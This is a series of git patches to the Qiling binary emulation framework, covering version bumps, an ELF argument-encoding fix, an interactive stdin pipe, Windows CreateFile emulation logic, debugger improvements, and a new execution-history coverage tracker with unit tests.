From 09562f60ef5977e000962f02091dbddf95bac7c2 Mon Sep 17 00:00:00 2001 From: xwings Date: Sat, 31 Dec 2022 21:18:54 +0800 Subject: [PATCH 001/103] to 1.4.6-dev --- setup.py | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/setup.py b/setup.py index 7a67ad7b6..5987a8076 100644 --- a/setup.py +++ b/setup.py @@ -5,8 +5,8 @@ from setuptools import setup, find_packages # NOTE: use "-dev" for dev branch -#VERSION = "1.4.6" + "-dev" -VERSION = "1.4.5" +VERSION = "1.4.6" + "-dev" +#VERSION = "1.4.5" requirements = [ "capstone>=4.0.1", @@ -72,8 +72,8 @@ # How mature is this project? Common values are # 3 - Alpha # 5 - Production/Stable - 'Development Status :: 5 - Production/Stable', - #'Development Status :: 3 - Alpha', + #'Development Status :: 5 - Production/Stable', + 'Development Status :: 3 - Alpha', # Indicate who your project is intended for 'Intended Audience :: Developers', From e539e8b38f0cc1f1c0bd41ab0f41cb3fa9956e1c Mon Sep 17 00:00:00 2001 From: "kj.xwings.l" Date: Sat, 31 Dec 2022 21:23:34 +0800 Subject: [PATCH 002/103] Update ChangeLog --- ChangeLog | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/ChangeLog b/ChangeLog index 7cb4592b5..35b23daf5 100644 --- a/ChangeLog +++ b/ChangeLog @@ -1,7 +1,7 @@ This file details the changelog of Qiling Framework. ------------------------------------ -[Version 1.4.5]: December 29th, 2022 +[Version 1.4.5]: December 31st, 2022 New features: - Qdb with PE (#1295) @@ -41,7 +41,6 @@ Contributors: - ucgJhe - aquynh - owl129 -- ------------------------------------ [Version 1.4.4]: September 24th, 2022 From 824047192890303971b0135f9655e63018c31710 Mon Sep 17 00:00:00 2001 From: elicn Date: Sun, 8 Jan 2023 13:10:53 +0200 Subject: [PATCH 003/103] Fix ELF argv encoding --- qiling/loader/elf.py | 2 +- qiling/os/linux/procfs.py | 6 +++--- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/qiling/loader/elf.py b/qiling/loader/elf.py index 9a9e67694..5b44ef570 100644 --- a/qiling/loader/elf.py +++ b/qiling/loader/elf.py @@ -268,7 +268,7 @@ def __push_str(top: int, s: str) -> int: Top of stack remains aligned to pointer size """ - data = s.encode('utf-8') + b'\x00' + data = s.encode('latin') + b'\x00' top = self.ql.mem.align(top - len(data), self.ql.arch.pointersize) self.ql.mem.write(top, data) diff --git a/qiling/os/linux/procfs.py b/qiling/os/linux/procfs.py index 9fbf2a338..11bd623f1 100644 --- a/qiling/os/linux/procfs.py +++ b/qiling/os/linux/procfs.py @@ -42,7 +42,7 @@ def self_auxv(os: 'QlOsLinux') -> QlFsMappedObject: @staticmethod def self_cmdline(os: 'QlOsLinux') -> QlFsMappedObject: - entries = (arg.encode('utf-8') for arg in os.ql.argv) + entries = (arg.encode('latin') for arg in os.ql.argv) cmdline = b'\x00'.join(entries) + b'\x00' return FsMappedStream(r'/proc/self/cmdline', cmdline) @@ -51,7 +51,7 @@ def self_cmdline(os: 'QlOsLinux') -> QlFsMappedObject: def self_environ(os: 'QlOsLinux') -> QlFsMappedObject: def __to_bytes(s: AnyStr) -> bytes: if isinstance(s, str): - return s.encode('utf-8') + return s.encode('latin') return s @@ -73,6 +73,6 @@ def self_map(mem: 'QlMemoryManager') -> QlFsMappedObject: mapinfo = mem.get_mapinfo() for lbound, ubound, perms, label, container in mapinfo: - content += f"{lbound:x}-{ubound:x}\t{perms}p\t0\t00:00\t0\t{container if container else label}\n".encode("utf-8") + content += f"{lbound:x}-{ubound:x}\t{perms}p\t0\t00:00\t0\t{container if container else label}\n".encode("latin") return FsMappedStream(r'/proc/self/map', content) From fe91fe64a4a5f0414eec59804ba9c255ed685571 Mon Sep 17 00:00:00 2001 From: "kj.xwings.l" Date: Wed, 18 Jan 2023 15:06:42 +0800 Subject: [PATCH 004/103] Update CREDITS.md --- CREDITS.md | 1 + 1 file changed, 1 insertion(+) diff --git a/CREDITS.md b/CREDITS.md index 7c56ad858..f1ab74971 100644 --- a/CREDITS.md +++ b/CREDITS.md @@ -18,6 +18,7 @@ - KONG ziqiao (lazymio) - YU zheng (dataisland) - Eli Cohen Nehemia (elicn) +- Li Hong Jhe (ucgJhe) #### CI, Website,Documentations, Logo & Swags From 3cc980e0ce5764cdc152ccdc8841d03b3971e44a Mon Sep 17 00:00:00 2001 From: anotherdish Date: Sun, 22 Jan 2023 19:32:17 -0500 Subject: [PATCH 005/103] added a pipe that can be used when a user wants to run the emulation, but still be able to interact with stdin, similar to the pwntools interact() function --- qiling/extensions/pipe.py | 19 ++++++++++++++++++- 1 file changed, 18 insertions(+), 1 deletion(-) diff --git a/qiling/extensions/pipe.py b/qiling/extensions/pipe.py index f88c27135..50c55a0bb 100644 --- a/qiling/extensions/pipe.py +++ b/qiling/extensions/pipe.py @@ -86,4 +86,21 @@ class SimpleBufferedStream(io.BytesIO): """ def __init__(self): - super.__init__() \ No newline at end of file + super.__init__() + +class InteractiveInStream(io.BytesIO): + def read(self, size): + ''' + We want read to get user input if theres no data left in the buffer + ''' + + #get the amount of bytes left in the buffer + bytes_left = self.getbuffer().nbytes - self.tell() + + #if theres no bytes left in the buffer, get user input + if bytes_left == 0: + user_data = input().encode()+ b'\x0a' + self.write(user_data) + self.seek(-len(user_data), io.SEEK_CUR) + + return super().read(size) \ No newline at end of file From da46fbe14ec90b53cc8ee442249ca5dc4398757f Mon Sep 17 00:00:00 2001 From: anotherdish Date: Sun, 22 Jan 2023 19:35:51 -0500 Subject: [PATCH 006/103] clarified documentation --- qiling/extensions/pipe.py | 9 +++++++-- 1 file changed, 7 insertions(+), 2 deletions(-) diff --git a/qiling/extensions/pipe.py b/qiling/extensions/pipe.py index 50c55a0bb..e00af1276 100644 --- a/qiling/extensions/pipe.py +++ b/qiling/extensions/pipe.py @@ -89,9 +89,14 @@ def __init__(self): super.__init__() class InteractiveInStream(io.BytesIO): - def read(self, size): + def read(self, size: int): ''' - We want read to get user input if theres no data left in the buffer + Read from the BytesIO buffer. If theres no data left in the buffer, get additional user input + + Args: + size (int): The amount of bytes to read from the buffer + Returns: + bytes: The data read from the buffer ''' #get the amount of bytes left in the buffer From 1602bc03d8f64b92b64076fa39e6a71682460457 Mon Sep 17 00:00:00 2001 From: me Date: Mon, 23 Jan 2023 11:50:10 -0500 Subject: [PATCH 007/103] forgot to type hint the return value --- qiling/extensions/pipe.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/qiling/extensions/pipe.py b/qiling/extensions/pipe.py index e00af1276..f69d1e326 100644 --- a/qiling/extensions/pipe.py +++ b/qiling/extensions/pipe.py @@ -89,7 +89,7 @@ def __init__(self): super.__init__() class InteractiveInStream(io.BytesIO): - def read(self, size: int): + def read(self, size: int) -> bytes: ''' Read from the BytesIO buffer. If theres no data left in the buffer, get additional user input From b4d54fe0d44f9c9890c7b2d37781936cf470e583 Mon Sep 17 00:00:00 2001 From: user Date: Mon, 6 Feb 2023 14:41:03 -0500 Subject: [PATCH 008/103] partially fixed kernel32.dll$_CreateFile function --- qiling/os/mapper.py | 21 ++++++ qiling/os/windows/dlls/kernel32/fileapi.py | 86 +++++++++++++++++++++- 2 files changed, 103 insertions(+), 4 deletions(-) diff --git a/qiling/os/mapper.py b/qiling/os/mapper.py index d6e8b170a..cc0d840c5 100644 --- a/qiling/os/mapper.py +++ b/qiling/os/mapper.py @@ -107,7 +107,28 @@ def open_ql_file(self, path: str, openflags: int, openmode: int): raise PermissionError(f'unsafe path: {host_path}') return ql_file.open(host_path, openflags, openmode) + def file_exists(self, path:str) -> bool: + # check if file exists + if self.has_mapping(path): + return True + host_path = self.path.virtual_to_host_path(path) + if not self.path.is_safe_host_path(host_path): + raise PermissionError(f'unsafe path: {host_path}') + return os.path.isfile(host_path) + + def create_empty_file(self, path:str)->bool: + if not self.file_exists(path): + try: + f = self.open(path, "w+") + f.close() + return True + + except Exception as e: + # for some reason, we could not create an empty file. + return False + return True + def open(self, path: str, openmode: str): if self.has_mapping(path): return self._open_mapping(path, openmode) diff --git a/qiling/os/windows/dlls/kernel32/fileapi.py b/qiling/os/windows/dlls/kernel32/fileapi.py index 482471086..ac0e0601c 100644 --- a/qiling/os/windows/dlls/kernel32/fileapi.py +++ b/qiling/os/windows/dlls/kernel32/fileapi.py @@ -222,19 +222,97 @@ def _CreateFile(ql: Qiling, address: int, params): dwDesiredAccess = params["dwDesiredAccess"] # dwShareMode = params["dwShareMode"] # lpSecurityAttributes = params["lpSecurityAttributes"] - # dwCreationDisposition = params["dwCreationDisposition"] + + # Handle Creation Disposition. I.e. how to respond + # when a file either exists or doesn't + # See https://learn.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-createfilea + dwCreationDisposition = params["dwCreationDisposition"] + # dwFlagsAndAttributes = params["dwFlagsAndAttributes"] # hTemplateFile = params["hTemplateFile"] # access mask DesiredAccess - if dwDesiredAccess & GENERIC_WRITE: - mode = "wb" - else: + perm_write = dwDesiredAccess & GENERIC_WRITE + perm_read = dwDesiredAccess & GENERIC_READ + + # TODO: unused + perm_exec = dwDesiredAccess & GENERIC_EXECUTE + + # only open file if it exists. error otherwise + open_existing = ( + (dwCreationDisposition == OPEN_EXISTING) or + (dwCreationDisposition == TRUNCATE_EXISTING ) + ) + + # check if the file exists + # TODO: race condition if file is deleted/reated + file_exists = ql.os.fs_mapper.file_exists(s_lpFileName) + + if (open_existing and (not file_exists)): + # the CreationDisposition wants a file to exist + # it does not + ql.os.last_error = ERROR_FILE_NOT_FOUND + return INVALID_HANDLE_VALUE + + if ((dwCreationDisposition == CREATE_NEW ) and file_exists): + # only create a file if it does not exist. + # if it does, error + ql.os.last_error = ERROR_FILE_EXISTS + + truncate = (dwCreationDisposition == CREATE_ALWAYS) or (dwCreationDisposition == TRUNCATE_EXISTING) + + # TODO: this function does not handle general access masks. + # see https://learn.microsoft.com/en-us/windows/win32/secauthz/access-mask + # it is only able to handle Generic R/W + + # read only + if (perm_read) and ( not (perm_write)): mode = "rb" + # Write only + elif ( perm_write and (not perm_read)): + # TODO: fopen modes do not allow for write only access + # Likely need to use os.open instead. + ql.log.warn("_CreateFile has been called with Write only access. This is not currently supported and the handle is still allows for read access!") + + # read/write, do not create. do not truncatd + mode = "rb+" + + elif perm_read and perm_write: + # Note that this ignores exec access mask + mode = "rb+" + + elif perm_exec: + # TODO: handle exec access mask + # it is only executable or has a non standard access mask + ql.log.warn("_CreateFile has been called with executable only access or with a non standard access mask. This is not currently supported and the handle is set to Read/Write") + mode = "rb+" + else: + # This is probably an invalid access mask + ql.log.warn(f"Invalid access mask provided: {dwDesiredAccess}") + + try: + # we should have exited by now if the file doesn't exist + if not file_exists: + status = ql.os.fs_mapper.create_empty_file(s_lpFileName) + if not status: + # could not create a new file + # bail out. + # TODO: set last_error + ql.log.warn(f"_CreateFile could not create new file {s_lpFileName}") + return INVALID_HANDLE_VALUE f = ql.os.fs_mapper.open(s_lpFileName, mode) + if truncate: + f.truncate(0) + if dwCreationDisposition == CREATE_ALWAYS: + # we overwrote the file. + ql.os.last_error = ERROR_ALREADY_EXISTS + if dwCreationDisposition == OPEN_ALWAYS: + ql.os.last_error = ERROR_ALREADY_EXISTS + except FileNotFoundError: + # Creation disposition determines what happens when the file doesn't exist ql.os.last_error = ERROR_FILE_NOT_FOUND return INVALID_HANDLE_VALUE From b60eaba0aaee934607add84709a7c9dcdcc4b705 Mon Sep 17 00:00:00 2001 From: user Date: Mon, 6 Feb 2023 15:03:56 -0500 Subject: [PATCH 009/103] fixed issue with Write only, Truncate + Create new --- qiling/os/windows/dlls/kernel32/fileapi.py | 18 +++++++++++++----- 1 file changed, 13 insertions(+), 5 deletions(-) diff --git a/qiling/os/windows/dlls/kernel32/fileapi.py b/qiling/os/windows/dlls/kernel32/fileapi.py index ac0e0601c..5885265f7 100644 --- a/qiling/os/windows/dlls/kernel32/fileapi.py +++ b/qiling/os/windows/dlls/kernel32/fileapi.py @@ -273,10 +273,14 @@ def _CreateFile(ql: Qiling, address: int, params): elif ( perm_write and (not perm_read)): # TODO: fopen modes do not allow for write only access # Likely need to use os.open instead. - ql.log.warn("_CreateFile has been called with Write only access. This is not currently supported and the handle is still allows for read access!") - # read/write, do not create. do not truncatd - mode = "rb+" + if (truncate and (not open_existing)) or (truncate and open_existing and file_exists): + # create a new file or truncate an existing one + mode = "wb" + else: + ql.log.warn("_CreateFile has been called with Write only access. This is not currently supported and the handle is still allows for read access!") + # read/write, do not create. do not truncatd + mode = "rb+" elif perm_read and perm_write: # Note that this ignores exec access mask @@ -294,7 +298,7 @@ def _CreateFile(ql: Qiling, address: int, params): try: # we should have exited by now if the file doesn't exist - if not file_exists: + if (not file_exists) and (mode != "wb"): status = ql.os.fs_mapper.create_empty_file(s_lpFileName) if not status: # could not create a new file @@ -302,12 +306,16 @@ def _CreateFile(ql: Qiling, address: int, params): # TODO: set last_error ql.log.warn(f"_CreateFile could not create new file {s_lpFileName}") return INVALID_HANDLE_VALUE + f = ql.os.fs_mapper.open(s_lpFileName, mode) - if truncate: + if truncate and mode != "wb": + # redundant if mode is wb f.truncate(0) + if dwCreationDisposition == CREATE_ALWAYS: # we overwrote the file. ql.os.last_error = ERROR_ALREADY_EXISTS + if dwCreationDisposition == OPEN_ALWAYS: ql.os.last_error = ERROR_ALREADY_EXISTS From f2b3209fdcfbd48d5edd91fc98b1aa47e0f75e0e Mon Sep 17 00:00:00 2001 From: user Date: Mon, 6 Feb 2023 15:14:22 -0500 Subject: [PATCH 010/103] fix error if access mask is invalid --- qiling/os/windows/dlls/kernel32/fileapi.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/qiling/os/windows/dlls/kernel32/fileapi.py b/qiling/os/windows/dlls/kernel32/fileapi.py index 5885265f7..1176462f6 100644 --- a/qiling/os/windows/dlls/kernel32/fileapi.py +++ b/qiling/os/windows/dlls/kernel32/fileapi.py @@ -294,7 +294,8 @@ def _CreateFile(ql: Qiling, address: int, params): else: # This is probably an invalid access mask ql.log.warn(f"Invalid access mask provided: {dwDesiredAccess}") - + # TODO: add error code + return INVALID_HANDLE_VALUE try: # we should have exited by now if the file doesn't exist From c23abeba038caf692612007a84e6366485eacef3 Mon Sep 17 00:00:00 2001 From: ucgJhe Date: Tue, 7 Feb 2023 10:31:53 +0800 Subject: [PATCH 011/103] show invalid instruction now --- qiling/debugger/qdb/context.py | 8 ++++---- qiling/debugger/qdb/misc.py | 15 +++++++++++++++ qiling/debugger/qdb/render/render.py | 6 ++---- 3 files changed, 21 insertions(+), 8 deletions(-) diff --git a/qiling/debugger/qdb/context.py b/qiling/debugger/qdb/context.py index a3c71ef86..e4400f4b4 100644 --- a/qiling/debugger/qdb/context.py +++ b/qiling/debugger/qdb/context.py @@ -10,7 +10,7 @@ from capstone import CsInsn -from .misc import read_int +from .misc import read_int, InvalidInsn class Context: """ @@ -48,9 +48,9 @@ def disasm(self, address: int, detail: bool = False) -> Optional[CsInsn]: md = self.ql.arch.disassembler md.detail = detail - if (addr := self.read_insn(address)): - return next(md.disasm(addr, address), None) - return None + if (bytes_read := self.read_insn(address)): + return next(md.disasm(bytes_read, address), InvalidInsn(bytes_read, address)) + return InvalidInsn(bytes_read, address) def try_read(self, address: int, size: int) -> Optional[bytes]: """ diff --git a/qiling/debugger/qdb/misc.py b/qiling/debugger/qdb/misc.py index d9bf67362..a3cf29e1a 100644 --- a/qiling/debugger/qdb/misc.py +++ b/qiling/debugger/qdb/misc.py @@ -5,6 +5,8 @@ from typing import AnyStr, Callable, Optional +from dataclasses import dataclass + import ast def check_and_eval(line: str): @@ -25,6 +27,19 @@ def generic_visit(self, node): return eval(line) +@dataclass +class InvalidInsn: + """ + class for displaying invalid instruction + """ + bytes: bytes + address: bytes + mnemonic: str = 'invalid' + op_str: str = '' + + def __post_init__(self): + self.size = len(self.bytes) + class Breakpoint: """ diff --git a/qiling/debugger/qdb/render/render.py b/qiling/debugger/qdb/render/render.py index 4ce64fa1c..aa7a6022d 100644 --- a/qiling/debugger/qdb/render/render.py +++ b/qiling/debugger/qdb/render/render.py @@ -157,6 +157,7 @@ def print_asm(self, insn: CsInsn, to_jump: bool = False) -> None: """ opcode = "".join(f"{b:02x}" for b in insn.bytes) + trace_line = f"0x{insn.address:08x} │ {opcode:15s} {insn.mnemonic:10} {insn.op_str:35s}" cursor = "►" if self.cur_addr == insn.address else " " @@ -211,12 +212,9 @@ def context_asm(self) -> None: to_addr = self.cur_addr + self.disasm_num cur_addr = from_addr - while cur_addr != to_addr: + while cur_addr <= to_addr: insn = self.disasm(cur_addr) - # cur_addr += self.arch_insn_size cur_addr += insn.size - if not insn: - continue past_list.append(insn) bk_list = [] From 775bc690924fa2ddc2659b6130803542cf2d265e Mon Sep 17 00:00:00 2001 From: ucgJhe Date: Tue, 7 Feb 2023 10:33:29 +0800 Subject: [PATCH 012/103] pause at program exit point, now step command accepts argument --- qiling/debugger/qdb/qdb.py | 16 +++++++++------- 1 file changed, 9 insertions(+), 7 deletions(-) diff --git a/qiling/debugger/qdb/qdb.py b/qiling/debugger/qdb/qdb.py index 0d1d1fbf6..7606cf3bc 100644 --- a/qiling/debugger/qdb/qdb.py +++ b/qiling/debugger/qdb/qdb.py @@ -78,7 +78,7 @@ def bp_handler(ql, address, size, bp_list): if self.ql.os.type == QL_OS.BLOB: self.ql.loader.entry_point = self.ql.loader.load_address - elif init_hook and self.ql.loader.entry_point != init_hook: + elif init_hook and self.ql.loader.entry_point != int(init_hook, 0): self.do_breakpoint(init_hook) self.cur_addr = self.ql.loader.entry_point @@ -116,7 +116,7 @@ def _run(self, address: int = 0, end: int = 0, count: int = 0) -> None: address = self.cur_addr if getattr(self.ql.arch, 'is_thumb', False): - address |= 1 + address |= 0b1 # assume we're running PE if on Windows if self.ql.os.type == QL_OS.WINDOWS: @@ -157,6 +157,7 @@ def inner(self, *args, **kwargs): qdb_print(QDB_MSG.ERROR, "The program is not being run.") else: func(self, *args, **kwargs) + return inner def parseline(self, line: str) -> Tuple[Optional[str], Optional[str], str]: @@ -213,17 +214,19 @@ def do_run(self, *args) -> None: @SnapshotManager.snapshot @save_reg_dump @check_ql_alive - def do_step_in(self, *args) -> Optional[bool]: + def do_step_in(self, step: str = '', *args) -> Optional[bool]: """ execute one instruction at a time, will enter subroutine """ - prophecy = self.predictor.predict() if prophecy.where is True: - return True + qdb_print(QDB_MSG.INFO, 'program exited due to code end hitted') + self.do_context() + return False + + step = 1 if step == '' else int(step) - step = 1 # make sure follow branching if prophecy.going is True and self.ql.arch.type == QL_ARCH.MIPS: step += 1 @@ -574,7 +577,6 @@ def do_EOF(self, *args) -> None: if input(f"{color.RED}[!] Are you sure about saying good bye ~ ? [Y/n]{color.END} ").strip() == "Y": self.do_quit() - do_r = do_run do_s = do_step_in do_n = do_step_over From c19fcf1162b19666d11b585a8cecd193cc468b70 Mon Sep 17 00:00:00 2001 From: me Date: Thu, 16 Feb 2023 17:23:17 -0500 Subject: [PATCH 013/103] added a history tracker to get coverage information about the execution of the binary --- qiling/extensions/coverage/formats/history.py | 143 ++++++++++++++++++ tests/test_history.py | 81 ++++++++++ 2 files changed, 224 insertions(+) create mode 100644 qiling/extensions/coverage/formats/history.py create mode 100644 tests/test_history.py diff --git a/qiling/extensions/coverage/formats/history.py b/qiling/extensions/coverage/formats/history.py new file mode 100644 index 000000000..2edd28e2a --- /dev/null +++ b/qiling/extensions/coverage/formats/history.py @@ -0,0 +1,143 @@ +from typing import List +from qiling import Qiling +from qiling.core_hooks_types import HookRet +import re + +class History: + history_hook_handle: HookRet = None + history: List[int] = [] + ql: Qiling + + def __init__(self, ql: Qiling) -> None: + self.ql = ql + self.track_block_coverage() + + def clear_history(self) -> None: + """Clears the current state of the history + + """ + self.history = [] + + def clear_hooks(self) -> None: + """Clears the current history hook from the Qiling instance + + Returns: + None + """ + + self.ql.hook_del(self.history_hook_handle) + + def track_block_coverage(self) -> None: + """Configures the history plugin to track all of the basic blocks that are executed. Removes any existing hooks + + Returns: + None + """ + if self.history_hook_handle: + self.clear_hooks() + + def __hook_block(ql, address, size): + self.history.append(address) + + self.history_hook_handle = self.ql.hook_block(__hook_block) + + def track_instruction_coverage(self) -> None: + """Configures the history plugin to track all of the instructions that are executed. Removes any existing hooks + + Returns: + None + """ + if self.history_hook_handle: + self.clear_hooks() + + def __hook_block(ql, address, size): + self.history.append(address) + + self.history_hook_handle = self.ql.hook_code(__hook_block) + + def get_ins_only_lib(self, libs: List[str]) -> List[int]: + """Returns a list of addresses that have been executed that are only in mmaps for objects that match the regex of items in the list + + Args: + libs (List[str]): A list of regex strings to match against the library names in the memory maps + + Returns: + List[int]: A list of addresses that have been executed and in the memory maps that match the regex + + Examples: + >>> history.get_ins_only_lib(["libc.so", "libpthread.so"]) + """ + + executable_maps = self.get_regex_matching_exec_maps(libs) + return [x for x in self.history if any([x >= start and x <= end for start, end, _, _, _ in executable_maps])] + + def get_ins_exclude_lib(self, libs: list) -> List: + '''Returns a list of history instructions that are not in the libraries that match the regex in the libs list + + Args: + libs (List): A list of regex strings to match against the library names in the memory maps + + Returns: + List: A list of addresses that have been executed and are not in the memory maps that match the regex + + Examples: + >>> history.get_ins_exclude_lib(["libc.so", "libpthread.so"]) + ''' + + executable_maps = self.get_regex_matching_exec_maps(libs) + return [x for x in self.history if any([x < start or x > end for start, end, _, _, _ in executable_maps])] + + def get_mem_map_from_addr(self, ins: int) -> tuple: + '''Returns the memory map that contains the instruction + + Args: + ins (int): The instruction address to search for + + Returns: + tuple: A tuple that contains the memory map that contains the instruction + this tuple is in the format of (start_addr, end_addr, perms, name, path) + + Examples: + >>> history.get_mem_map_from_addr(0x7ffff7dd1b97) + ''' + + #get the memory map that contains the instruction + mem_map = [x for x in self.ql.mem.get_mapinfo() if x[0] <= ins and x[1] >= ins] + + if len(mem_map) == 0: + return None + + # i sure hope theres not more than one map that contains the instruction lol + return mem_map[0] + + def get_regex_matching_exec_maps(self, libs: List) -> List: + '''Returns a list of tuples for current mmaps whose names match the regex of libs in the list + + This is a wrapper around ql.mem.get_mapinfo() and just filters the results by the regex of the library names and also only returns maps that are executable + + Args: + libs (List): A list of regex strings to match against the library names in the memory maps + + Returns: + List: A list of tuples that match the regex and are executable + + Examples: + >>> history.get_regex_matching_exec_maps(["libc.so", "libpthread.so"]) + >>> history.get_regex_matching_exec_maps(".*libc.*") + ''' + + # if libs is a string, convert it to a list + if isinstance(libs, str): + libs = [libs] + + # filter the history list by the library name, using a list of regex + regex = [re.compile(lib) for lib in libs] + + # filter the list of tuples + # so that we return only the ones where the library name matches the regex + regex_matching_libs = [x for x in self.ql.mem.get_mapinfo() if any([r.match(x[3]) for r in regex])] + + # filter viable_libs for items that have the executable bit set + executable_maps = [x for x in regex_matching_libs if 'x' in x[2]] + + return executable_maps \ No newline at end of file diff --git a/tests/test_history.py b/tests/test_history.py new file mode 100644 index 000000000..97d865e48 --- /dev/null +++ b/tests/test_history.py @@ -0,0 +1,81 @@ +import unittest +from qiling import Qiling +from qiling.const import QL_VERBOSE +from qiling.extensions.coverage.formats.history import History +from typing import List + +from IPython import embed + +class HistoryTest(unittest.TestCase): + + @staticmethod + def sanitize_mmap_path(mmap: List[tuple]) -> List[tuple]: + '''Removes the path from the mmap tuple so that it can be compared to other mmaps + currently because the loader is handling loading ld and the main binary, we get the annotation of the path in element 5 of the tuple (index 4) + this path is going to be dependent on the users filesystem, so it doesnt quite make sense to test for it + ''' + if isinstance(mmap, tuple): + mmap = [mmap] + + return list(map(lambda x: (x[0], x[1], x[2], x[3], ''), mmap)) + + def test_get_regex_matching_exec_maps(self): + ql = Qiling(["../examples/rootfs/x8664_linux/bin/x8664_hello"], "../examples/rootfs/x8664_linux", verbose=QL_VERBOSE.OFF) + history = History(ql) + ql.run() + + self.assertEqual([(140736278126592, 140736280121344, 'r-x', '[mmap] libc.so.6', '')], history.get_regex_matching_exec_maps(".*libc.so.*")) + + self.assertEqual( + [ + (140736278126592, 140736280121344, 'r-x', '[mmap] libc.so.6', ''), + (140737351864320, 140737352024064, 'r-x', 'ld-linux-x86-64.so.2', '') + ], + self.sanitize_mmap_path(history.get_regex_matching_exec_maps([".*libc.so.*", "ld.*"])) + ) + + del ql + + def test_get_mem_map_from_addr(self): + ql = Qiling(["../examples/rootfs/x8664_linux/bin/x8664_hello"], "../examples/rootfs/x8664_linux", verbose=QL_VERBOSE.OFF) + history = History(ql) + ql.run() + + self.assertEqual( + self.sanitize_mmap_path(history.get_mem_map_from_addr(0x7ffff7df4830))[0], + ( + 0x7ffff7dd5000, + 0x7ffff7dfc000, + 'r-x', + 'ld-linux-x86-64.so.2', + '')) + + + def test_get_ins_exclude_lib(self): + ql = Qiling(["../examples/rootfs/x8664_linux/bin/x8664_hello"], "../examples/rootfs/x8664_linux", verbose=QL_VERBOSE.OFF) + history = History(ql) + ql.run(end=0x55555555465a) + + non_libc_blocks = history.get_ins_exclude_lib(".*libc.so.*") + + # this test is going to take a while but oh well + # also assumes that the get_mem_map_from_addr function works + for block in non_libc_blocks: + map_for_ins = history.get_mem_map_from_addr(block) + self.assertNotRegex(map_for_ins[3], ".*libc.so.*") + + def test_get_ins_only_lib(self): + ql = Qiling(["../examples/rootfs/x8664_linux/bin/x8664_hello"], "../examples/rootfs/x8664_linux", verbose=QL_VERBOSE.OFF) + history = History(ql) + ql.run(end=0x55555555465a) + + non_libc_blocks = history.get_ins_only_lib(".*libc.so.*") + + # this test is going to take a while but oh well + # also assumes that the get_mem_map_from_addr function works + for block in non_libc_blocks: + map_for_ins = history.get_mem_map_from_addr(block) + self.assertRegex(map_for_ins[3], ".*libc.so.*") + +if __name__ == "__main__": + unittest.main() \ No newline at end of file From ffc3a46c83387dfd8eacff738d8ce3788e32487a Mon Sep 17 00:00:00 2001 From: me Date: Thu, 16 Feb 2023 17:35:04 -0500 Subject: [PATCH 014/103] updated some values to be in hex, removed some code that was just used for development (the ipython thing) --- tests/test_history.py | 8 +++----- 1 file changed, 3 insertions(+), 5 deletions(-) diff --git a/tests/test_history.py b/tests/test_history.py index 97d865e48..6ad2d84d4 100644 --- a/tests/test_history.py +++ b/tests/test_history.py @@ -4,8 +4,6 @@ from qiling.extensions.coverage.formats.history import History from typing import List -from IPython import embed - class HistoryTest(unittest.TestCase): @staticmethod @@ -24,12 +22,12 @@ def test_get_regex_matching_exec_maps(self): history = History(ql) ql.run() - self.assertEqual([(140736278126592, 140736280121344, 'r-x', '[mmap] libc.so.6', '')], history.get_regex_matching_exec_maps(".*libc.so.*")) + self.assertEqual([(0x7fffb7dd6000, 0x7fffb7fbd000, 'r-x', '[mmap] libc.so.6', '')], history.get_regex_matching_exec_maps(".*libc.so.*")) self.assertEqual( [ - (140736278126592, 140736280121344, 'r-x', '[mmap] libc.so.6', ''), - (140737351864320, 140737352024064, 'r-x', 'ld-linux-x86-64.so.2', '') + (0x7fffb7dd6000, 0x7fffb7fbd000, 'r-x', '[mmap] libc.so.6', ''), + (0x7ffff7dd5000, 0x7ffff7dfc000, 'r-x', 'ld-linux-x86-64.so.2', '') ], self.sanitize_mmap_path(history.get_regex_matching_exec_maps([".*libc.so.*", "ld.*"])) ) From a08ef1f960bdccb83ddfde2b3516abd0ea073dd1 Mon Sep 17 00:00:00 2001 From: xwings Date: Tue, 28 Feb 2023 17:53:17 +0800 Subject: [PATCH 015/103] remove tab and replace with 4 space --- examples/adcache_x86_windows_debug.py.orig | 19 + examples/cachedlls_x8664_windows.py.orig | 14 + examples/crackme_x86_linux.py.orig | 122 + examples/crackme_x86_windows.py.orig | 120 + examples/crackme_x86_windows_auto.py.orig | 71 + .../crackme_x86_windows_setcallback.py.orig | 45 + examples/crackme_x86_windows_unpatch.py.orig | 38 + examples/doogie_8086_crack.py.orig | 210 + examples/evm/evm_Hexagon_overflow.py.orig | 52 + examples/evm/evm_debugger.py.orig | 25 + examples/evm/evm_reentrancy.py.orig | 84 + examples/evm/evm_reentrancy_vol.py.orig | 133 + examples/evm/evm_simple_sc.py.orig | 55 + examples/evm/fuzzing/fuzz.py.orig | 18 + examples/evm/fuzzing/underflow_test.py.orig | 47 + .../idaplugin/custom_script.py.orig | 37 + examples/extensions/r2/hello_r2.py.orig | 50 + .../report/hello_x86_windows_json.py.orig | 23 + .../dir815_mips32el_linux.py.orig | 63 + .../linux_x8664/fuzz_x8664_linux.py.orig | 76 + .../linux_x8664/libfuzzer_x8664_linux.py.orig | 41 + examples/fuzzing/qnx_arm/fuzz_arm_qnx.py.orig | 90 + examples/fuzzing/stm32f429/fuzz.py.orig | 56 + .../tenda_ac15/fuzz_tendaac15_httpd.py.orig | 63 + .../tenda_ac15/saver_tendaac15_httpd.py.orig | 78 + examples/hello_8086_dos.py.orig | 14 + .../hello_arm_linux_custom_syscall.py.orig | 45 + examples/hello_arm_linux_debug.py.orig | 21 + examples/hello_arm_qnx.py.orig | 13 + examples/hello_arm_qnx_customapi.py.orig | 37 + examples/hello_arm_set_filter.py.orig | 14 + examples/hello_arm_uboot.py.orig | 74 + examples/hello_linuxx8664_intercept.py.orig | 30 + examples/hello_mips32_linux_customapi.py.orig | 21 + examples/hello_mips32el_linux_debug.py.orig | 14 + ...hello_mips32el_linux_function_hook.py.orig | 29 + examples/hello_x8664_gdb_macos.py.orig | 15 + examples/hello_x8664_linux_customapi.py.orig | 20 + examples/hello_x8664_linux_disasm.py.orig | 74 + examples/hello_x8664_linux_part_debug.py.orig | 67 + examples/hello_x8664_linux_part_exec.py.orig | 29 + examples/hello_x8664_macos.py.orig | 14 + .../hello_x8664_windows_customapi.py.orig | 49 + examples/hello_x86_linux_fake_urandom.py.orig | 26 + 